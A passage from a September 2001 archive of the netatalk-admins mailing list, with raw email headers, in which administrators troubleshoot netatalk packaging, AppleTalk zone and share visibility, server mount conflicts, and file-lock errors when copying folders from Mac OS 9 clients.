or whatever) from a non-Apple server? I would hope that Netatalk will
offer a free alternative to MacOS X Server....

-- 
Alistair Riddell - BOFH
IT Manager, George Watson's College, Edinburgh
Tel: +44 131 447 7931 Ext 176       Fax: +44 131 452 8594
Microsoft - because god hates us


From netatalk.administrators-errors@umich.edu  Mon Sep 10 09:28:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA27814
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 09:28:44 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA28248
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 09:28:44 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA28231
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 09:28:43 -0400 (EDT)
Received: from jason01.u.washington.edu (jason01.u.washington.edu [140.142.8.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA28195
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 09:28:42 -0400 (EDT)
Received: from homer12.u.washington.edu (cent@homer12.u.washington.edu [140.142.15.50])
	by jason01.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f8ADSew53640
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 06:28:41 -0700
Received: from localhost (cent@localhost)
	by homer12.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f8ADSdw56978
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 06:28:40 -0700
Date: Mon, 10 Sep 2001 06:28:39 -0700 (PDT)
From: Bob Cent <cent@u.washington.edu>
cc: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: 1.5pre7,OSX and Debian
In-Reply-To: <200109091454.HAA04040@smtpout.mac.com>
Message-ID: <Pine.A41.4.33.0109100624290.66536-100000@homer12.u.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


> 2.  Has anyone made a Debian .deb for the new 1.5pre7?


Has anyone made an .rpm for the new 1.5pre7?  My search came up
empty.

_____________________________
Bob Cent
University of Washington
Box 357330
Seattle, WA  98195-7330

mailto: cent@u.washington.edu
voice:  206.543.1433
fax:    206.685.0305
_____________________________


From netatalk.administrators-errors@umich.edu  Mon Sep 10 10:09:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA00058
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 10:09:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA02571
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 10:09:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA02547
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 10:09:51 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA02512
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 10:09:50 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f8AE9mD02113;
	Mon, 10 Sep 2001 10:09:48 -0400
Message-ID: <3B9CC97B.5070105@univrel.pr.uconn.edu>
Date: Mon, 10 Sep 2001 10:08:59 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010802
X-Accept-Language: en-us
MIME-Version: 1.0
To: Bob Cent <cent@u.washington.edu>
CC: netatalk-admins@umich.edu
Subject: Re: 1.5pre7,OSX and Debian
References: <Pine.A41.4.33.0109100624290.66536-100000@homer12.u.washington.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Bob Cent wrote:
> Has anyone made an .rpm for the new 1.5pre7?  My search came up
> empty.

I haven't had a chance yet, but I'm working on it.

Jeff



From netatalk.administrators-errors@umich.edu  Mon Sep 10 11:45:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA17823
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 11:45:11 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA24691
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 11:45:11 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA24663
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 11:45:10 -0400 (EDT)
Received: from eagle.lethbridgecollege.ab.ca ([199.185.124.76])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA24571
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 11:45:05 -0400 (EDT)
Received: from lethbridgecollege.ab.ca ([172.16.6.217])
 by LETHBRIDGECOLLEGE.AB.CA (PMDF V6.0-24 #42392)
 with ESMTPA id <01K861I8FWIM910F40@LETHBRIDGECOLLEGE.AB.CA> for
 netatalk-admins@umich.edu; Mon, 10 Sep 2001 09:47:47 -0600 (MDT)
Date: Mon, 10 Sep 2001 09:44:58 -0600
From: James Litwin <james.litwin@LETHBRIDGECOLLEGE.AB.CA>
Subject: Re: problem mounting two servers
To: charlie wood <charlie@id-inc.com>
Cc: netatalk-admins@umich.edu
Message-id: <3B9CDFFA.5A7B2937@lethbridgecollege.ab.ca>
MIME-version: 1.0
X-Mailer: Mozilla 4.73 (Macintosh; U; PPC)
Content-type: multipart/mixed; boundary=------------55FB9CA7B8709B71D0DCA297
X-Accept-Language: en,pdf
References: <B7BE87BE.45E5%charlie@id-inc.com>

This is a multi-part message in MIME format.
--------------55FB9CA7B8709B71D0DCA297
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit

Ya , I have seen it before ..... not to sure what caused the problem ... only
way that I could solve the problem was to rebuild the server from scratch ....
then everything worked ........

Sorry could not be or more help..


charlie wood wrote:

> Yo atalk brethren and sistren.
>
> I've got a problem that I'm sure someone has discovered (he said,
> hopefully):
>
> I've got two separate servers, each have unique network.node addresses. For
> illustrative purposes, we'll call one Bob and the other Sally (names changed
> to protect the innocent). Whenever one of Bob's volumes are mounted on the
> client desktop, and then an attempt is made by that client to connect to
> Sally, via the Chooser, instead of Sally's login dialog, the "already
> connected to "Bob"" dialog comes up. Selecting "OK" takes the user to Bob's
> volumes list. The only way to actually connect to Sally, under these
> circumstances, is to either unmount all of Bob's volumes, or make the
> connection to Sally via afp (clicking the IP Address button in the Chooser
> window, typing in the IP address, etc.).
>
> Anybody else run across this? Fixed? Solutions? Ideas? It looks like
> something with atalkd, and not afpd.
>
> I'm:
> RH Linux 7.1 running on Intel-based hardware
> 1.5pre6 (although the problem has been around since 1.4b2)
>
> Clients:
> G3 & G4 desktops, all running OS9.1
>
> thanks in advance.
>
> </charlie>
>
> _____________________________
> Charlie Wood
>
> IT Manager
> ID, Incorporated
> 1620 SW Taylor St Suite 100 Portland, OR 97205
> {v} 503-223-7737   {f} 503-223-2719
> {e} charlie@id-inc.com   {w} http://www.id-inc.com
>
> --

--------------55FB9CA7B8709B71D0DCA297
Content-Type: text/x-vcard; charset=us-ascii;
 name="james.litwin.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for James Litwin
Content-Disposition: attachment;
 filename="james.litwin.vcf"

begin:vcard 
n:Litwin;James
tel;fax:403-380-3487
tel;work:403-329-7206
x-mozilla-html:FALSE
adr:;;;;;;
version:2.1
email;internet:james.litwin@lethbridgecollege.ab.ca
x-mozilla-cpt:;1
fn:James Litwin
end:vcard

--------------55FB9CA7B8709B71D0DCA297--


From netatalk.administrators-errors@umich.edu  Mon Sep 10 12:47:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA11765
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 12:47:48 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA22104
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 12:47:48 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA22082
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 12:47:47 -0400 (EDT)
Received: from geulph.frogspace.net (geulph.frogspace.net [64.6.226.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA22072
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 12:47:46 -0400 (EDT)
Received: from adsl-64-171-178-114.dsl.snfc21.pacbell.net ([64.171.178.114] helo=pixelpi.org)
	by geulph.frogspace.net with esmtp (Exim 3.02 #1)
	id 15gUDy-0001Yl-00; Mon, 10 Sep 2001 09:47:54 -0700
Sender: jharris@easycomeeasygo.mr.itd.umich.edu
Message-ID: <3B9CEF59.9B2A16C7@pixelpi.org>
Date: Mon, 10 Sep 2001 09:50:33 -0700
From: "Jeff Harris [Soy hombre del palo]" <batman@pixelpi.org>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.16 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: Ed Maple <emaple@asu.edu>, Netatalk List <netatalk-admins@umich.edu>
Subject: Re: I can see zones but not shares
References: <200109062259.PAA15123@east.la.asu.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I've had this problem on my SuSE box. I found that when both afpd and
atalkd are running is the only time my share appears on the chooser. 
When afpd isn't running, I can still reach the atalk server through IP.

Jeff

Ed Maple wrote:
> 
> Greetings all. Running netatalk on a Sun/Solaris 8 system which is serving as a
> router. From my Mac sitting behind this router I can see the list of zones in my
> chooser, but no printers or shares in those zones except in my local zone. On
> the other hand, I can run ndplkup on the router and pull up a list of
> workstations in another zone. Any idea why I can't see those in my chooser?
> 
> sys config:
> * Solaris 8, core install only.
> * Running netatalk
> * Not running afpd or papd, only atalkd.
> * External interface gets appletalk network info off of the existing appletalk
>   network.
> * Internal interface configured with -seed.
> 
> Thanks for your help.
> 
> Ed Maple

From netatalk.administrators-errors@umich.edu  Mon Sep 10 13:33:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA14823
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 13:33:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA04953
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 13:33:36 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA04896
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 13:33:35 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA04789
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 13:33:32 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id TAA28323;
	Mon, 10 Sep 2001 19:37:18 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 10 Sep 2001 19:37:15 +0200
Subject: Re: I can see zones but not shares
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: "Jeff Harris [Soy hombre del palo]" <batman@pixelpi.org>,
        Ed Maple <emaple@asu.edu>, Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B7C2C6EB.10E31%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3B9CEF59.9B2A16C7@pixelpi.org>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 10 Sep 2001 12:47:49 -0400 (EDT), Jeff Harris wrote:

> I found that when both afpd and atalkd are running is the only time
> my share appears on the chooser.

Your server (not the shares) appeares in the chooser, you mean?

Well, atalkd is providing basic AppleTalk Services like NBP (Name Binding
Protocol) and after you startup afpd (and you allow ddp in your afpd.conf)
your server will be registered via NBP as an AppleTalk device of type
"AFPServer". And that's what the chooser extension "AppleShare" will look
for :-)

> When afpd isn't running, I can still reach the atalk server through IP.

Just a typo, isn't it? If afpd isn't running, you won't be able to establish
an afp session with your server. I think, you meant atalkd in this case?
 
> Ed Maple wrote:
>> 
>> Greetings all. Running netatalk on a Sun/Solaris 8 system which is serving as
>> a router. From my Mac sitting behind this router I can see the list of zones
>> in my chooser, but no printers or shares in those zones except in my local
>> zone. 

What kind of NIC are you using? Some quad fast enet cards are known to not
implement multicast correctly. AFAIR the resulting effects are like those,
you described.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Sep 10 14:00:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA16302
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 14:00:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA17102
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 14:00:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA17086
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 14:00:22 -0400 (EDT)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA17043
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 14:00:21 -0400 (EDT)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Mon, 10 Sep 2001 14:00:23 -0400
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f05100302b7c2ad9a1838@[192.168.42.39]>
Date: Mon, 10 Sep 2001 14:02:14 -0400
To: netatalk-admins@umich.edu
From: Charles Mangin <charles@burneydesign.com>
Subject: nested folders
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

hi all. i've just joined the list, so bear with me if this has been 
covered before.

i'm using netatalk-1.5pre2-6 (i think. is there an atalk -version 
command so i can be certain?) on a redhat 7.1 intel box and i'm 
seeing some oddities when putting files on the server from a Mac 
running 9.1

basically, i get an error -50, or, more commonly, "the file is 
locked". mostly this happens with strange filetypes like font 
suitcases or photoshop files with custom icons, though not by any 
means with *all* of them.

the really odd thing is that, if i move the problem files as part of 
a larger transfer - usually when copying a folder with many files in 
it to the server - i consistently get the error. but, when i transfer 
the file by itself, or even the  contents of the whole directory - 
but not the enclosing folder - i do not get the error.

does this make sense at all? to sum up: i grab a folder, copy it to 
the server. the folder is created on the server, but the files give 
me an error (or one of the files does, and cancels the whole copy). 
if i open the folder on the mac and copy the contents to the new 
folder on the server, i get no error.

my next step will be trying to recreate the problem with different 
filetypes and seeing if there's a common thread, and i suppose i 
should update to the latest prerelease - or go back to 1.4. i thought 
i'd see if anybody here had any suggestions or similar experiences.

From netatalk.administrators-errors@umich.edu  Mon Sep 10 14:22:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA17553
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 14:22:59 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id OAA04901
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 14:22:58 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04885
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 14:22:58 -0400 (EDT)
Received: from post2.inre.asu.edu (post2.inre.asu.edu [129.219.110.73])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA04826
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 14:22:56 -0400 (EDT)
Received: from conversion.post2.inre.asu.edu by asu.edu (PMDF V6.0-24 #47347)
 id <0GJG00801LPV1E@asu.edu> for netatalk-admins@umich.edu; Mon,
 10 Sep 2001 11:22:43 -0700 (MST)
Received: from smtp.asu.edu (smtp.asu.edu [129.219.13.92])
 by asu.edu (PMDF V6.0-24 #47347) with ESMTP id <0GJG00665LPV4P@asu.edu>; Mon,
 10 Sep 2001 11:22:43 -0700 (MST)
Received: from east.la.asu.edu (east.la.asu.edu [129.219.48.26])
	by smtp.asu.edu (8.9.3/8.9.3) with ESMTP id LAA26469; Mon,
 10 Sep 2001 11:22:41 -0700 (MST)
Received: (from emaple@localhost)	by east.la.asu.edu (8.9.3+Sun/8.9.1)
 id LAA24720; Mon, 10 Sep 2001 11:22:40 -0700 (MST)
Date: Mon, 10 Sep 2001 11:22:40 -0700 (MST)
From: Ed Maple <emaple@asu.edu>
Subject: Re: I can see zones but not shares
To: netatalk-admins@umich.edu, batman@pixelpi.org
Message-id: <200109101822.LAA24720@east.la.asu.edu>
X-Sun-Charset: US-ASCII

Thanks Jeff. Afraid it doesn't solve my problem though. I'm trying to use
netatalk strictly for routing on my router (which will also server as a 
firewall eventually); there aren't any shares on the netatalk box itself. My
problem is that when I start up chooser on my mac behind the router, I can see
the list of zones, but I can't see any of the services/shares in those zones
except in my own local zone. I suspect that the information that gets broadcast
containing that information doesn't get routed either through my netatalk router
or through the router just upstream from my router.

Ed Maple

> 
> I've had this problem on my SuSE box. I found that when both afpd and
> atalkd are running is the only time my share appears on the chooser. 
> When afpd isn't running, I can still reach the atalk server through IP.
> 
> Jeff
> 
> Ed Maple wrote:
> > 
> > Greetings all. Running netatalk on a Sun/Solaris 8 system which is serving as a
> > router. From my Mac sitting behind this router I can see the list of zones in my
> > chooser, but no printers or shares in those zones except in my local zone. On
> > the other hand, I can run ndplkup on the router and pull up a list of
> > workstations in another zone. Any idea why I can't see those in my chooser?
> > 
> > sys config:
> > * Solaris 8, core install only.
> > * Running netatalk
> > * Not running afpd or papd, only atalkd.
> > * External interface gets appletalk network info off of the existing appletalk
> >   network.
> > * Internal interface configured with -seed.
> > 
> > Thanks for your help.
> > 
> > Ed Maple
> 

From netatalk.administrators-errors@umich.edu  Mon Sep 10 14:32:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA19222
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 14:32:56 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA00017
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 14:32:56 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA29991
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 14:32:55 -0400 (EDT)
Received: from post2.inre.asu.edu (post2.inre.asu.edu [129.219.110.73])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA29953
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 14:32:54 -0400 (EDT)
Received: from conversion.post2.inre.asu.edu by asu.edu (PMDF V6.0-24 #47347)
 id <0GJG00B01M6SLK@asu.edu> for netatalk-admins@umich.edu; Mon,
 10 Sep 2001 11:32:52 -0700 (MST)
Received: from smtp.asu.edu (smtp.asu.edu [129.219.13.92])
 by asu.edu (PMDF V6.0-24 #47347) with ESMTP id <0GJG008Y6M6SFN@asu.edu>; Mon,
 10 Sep 2001 11:32:52 -0700 (MST)
Received: from east.la.asu.edu (east.la.asu.edu [129.219.48.26])
	by smtp.asu.edu (8.9.3/8.9.3) with ESMTP id LAA28422; Mon,
 10 Sep 2001 11:32:52 -0700 (MST)
Received: (from emaple@localhost)	by east.la.asu.edu (8.9.3+Sun/8.9.1)
 id LAA26811; Mon, 10 Sep 2001 11:32:44 -0700 (MST)
Date: Mon, 10 Sep 2001 11:32:44 -0700 (MST)
From: Ed Maple <emaple@asu.edu>
Subject: Re: I can see zones but not shares
To: batman@pixelpi.org, emaple@asu.edu, netatalk-admins@umich.edu,
        Thomas.Kaiser@phg-online.de
Message-id: <200109101832.LAA26811@east.la.asu.edu>
X-Sun-Charset: US-ASCII

Thanks Thomas. I'm sort of suspecting a multicast problem as well. Is that how
Appletalk advertises services offered in each zone? Docs I've found (like
"Understanding Appletalk Routing") detail how RTMP and ZIP operate, and I seem
to be routing those just fine.

The Sparc I'm using as a router has a pair of HME cards installed (network only,
no SCSI). I'll have to look through sunsolve and see if there are any issues
with the HME cards and multicast.

Ed Maple

> > Ed Maple wrote:
> >> 
> >> Greetings all. Running netatalk on a Sun/Solaris 8 system which is serving as
> >> a router. From my Mac sitting behind this router I can see the list of zones
> >> in my chooser, but no printers or shares in those zones except in my local
> >> zone. 
> 
> What kind of NIC are you using? Some quad fast enet cards are known to not
> implement multicast correctly. AFAIR the resulting effects are like those,
> you described.
> 
> Regards,
> 
> Thomas
> 
> 


From netatalk.administrators-errors@umich.edu  Mon Sep 10 14:47:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA20024
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 14:47:45 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id OAA22389
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 14:47:45 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA22378
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 14:47:44 -0400 (EDT)
Received: from mail.id-inc.com ([208.186.174.81])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA22322
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 14:47:42 -0400 (EDT)
Received: from [192.168.94.68] (192.168.94.68) by mail.id-inc.com with
 ESMTP (Eudora Internet Mail Server 3.0) for <netatalk-admins@umich.edu>; 
 Mon, 10 Sep 2001 11:48:30 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 10 Sep 2001 11:47:40 -0700
Subject: Re: nested folders
From: charlie wood <charlie@id-inc.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7C258DB.4627%charlie@id-inc.com>
In-Reply-To: <f05100302b7c2ad9a1838@[192.168.42.39]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I saw this happen with Macromedia Flash native files on my servers (I'm
running Linux systems here). It only occurred with 1.4b2, and if I'm not
mistaken, it turned out to be a problem with the write permissions for the
.AppleDouble and .AppleDesktop files in the offending directories. Make sure
that those files are user and/or group writeable. You may also wish to look
at your AppleVolumes.system file and make sure that the correct MacOS
creator and type codes are correct, although I suspect that they are.

</charlie>

_____________________________
Charlie Wood

IT Manager
ID, Incorporated
1620 SW Taylor St Suite 100 Portland, OR 97205
{v} 503-223-7737   {f} 503-223-2719
{e} charlie@id-inc.com   {w} http://www.id-inc.com


--

> From: Charles Mangin <charles@burneydesign.com>
> Date: Mon, 10 Sep 2001 14:02:14 -0400
> To: netatalk-admins@umich.edu
> Subject: nested folders
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Mon, 10 Sep 2001 14:04:14 -0400 (EDT)
> 
> hi all. i've just joined the list, so bear with me if this has been
> covered before.
> 
> i'm using netatalk-1.5pre2-6 (i think. is there an atalk -version
> command so i can be certain?) on a redhat 7.1 intel box and i'm
> seeing some oddities when putting files on the server from a Mac
> running 9.1
> 
> basically, i get an error -50, or, more commonly, "the file is
> locked". mostly this happens with strange filetypes like font
> suitcases or photoshop files with custom icons, though not by any
> means with *all* of them.
> 
> the really odd thing is that, if i move the problem files as part of
> a larger transfer - usually when copying a folder with many files in
> it to the server - i consistently get the error. but, when i transfer
> the file by itself, or even the  contents of the whole directory -
> but not the enclosing folder - i do not get the error.
> 
> does this make sense at all? to sum up: i grab a folder, copy it to
> the server. the folder is created on the server, but the files give
> me an error (or one of the files does, and cancels the whole copy).
> if i open the folder on the mac and copy the contents to the new
> folder on the server, i get no error.
> 
> my next step will be trying to recreate the problem with different
> filetypes and seeing if there's a common thread, and i suppose i
> should update to the latest prerelease - or go back to 1.4. i thought
> i'd see if anybody here had any suggestions or similar experiences.


From netatalk.administrators-errors@umich.edu  Mon Sep 10 15:08:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA21248
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 15:08:38 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA25556
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 15:08:38 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA25530
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 15:08:37 -0400 (EDT)
Received: from mail.cmp-weka.de (poing.dmv-franzis.de [194.122.1.193])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id PAA25492
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 15:08:36 -0400 (EDT)
Received: from SMTP01 by mail.cmp-weka.de
          via smtpd (for easycomeeasygo.mr.itd.umich.edu [141.211.14.26]) with SMTP; 10 Sep 2001 19:09:06 UT
Received: from [172.29.11.2] [172.29.11.2]
	by mail.cmp-weka.de [172.29.1.6]
	with SMTP (MDaemon.PRO.v4.0.5.R)
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 21:12:14 +0200
User-Agent: Microsoft-Entourage/9.0.2509
Date: Mon, 10 Sep 2001 21:04:26 +0200
Subject: Re: problem mounting two servers
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B7C2DB5A.2A875%ts@visual-s.de>
In-Reply-To: <3B9CDFFA.5A7B2937@lethbridgecollege.ab.ca>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-MDRemoteIP: 172.29.11.2
X-Return-Path: ts@visual-s.de
X-MDaemon-Deliver-To: netatalk-admins@umich.edu

The problem has been discussed more than a year ago, I believe.
Unfortunately I didn't find the thread in my mail archives.

If memory doesn't fail, the solution was to change the order of appearance
of the localhost entry and the servers real IP within the hosts file.
Real IP has to be the first entry.

Background (from memory): a netatalk server creates some kind of
unique ID at (its first?) startup, and that ID is based on its IP.
If that ID is based on the localhost IP, it of cause isn't unique.

-Thomas

On 2001-09-10 17:44 +0200, James Litwin wrote:

> Ya , I have seen it before ..... not to sure what caused the problem ... only
> way that I could solve the problem was to rebuild the server from scratch ....
> then everything worked ........
> 
> charlie wood wrote:
> 
>> I've got two separate servers, each have unique network.node addresses. For
>> illustrative purposes, we'll call one Bob and the other Sally (names changed
>> to protect the innocent). Whenever one of Bob's volumes are mounted on the
>> client desktop, and then an attempt is made by that client to connect to
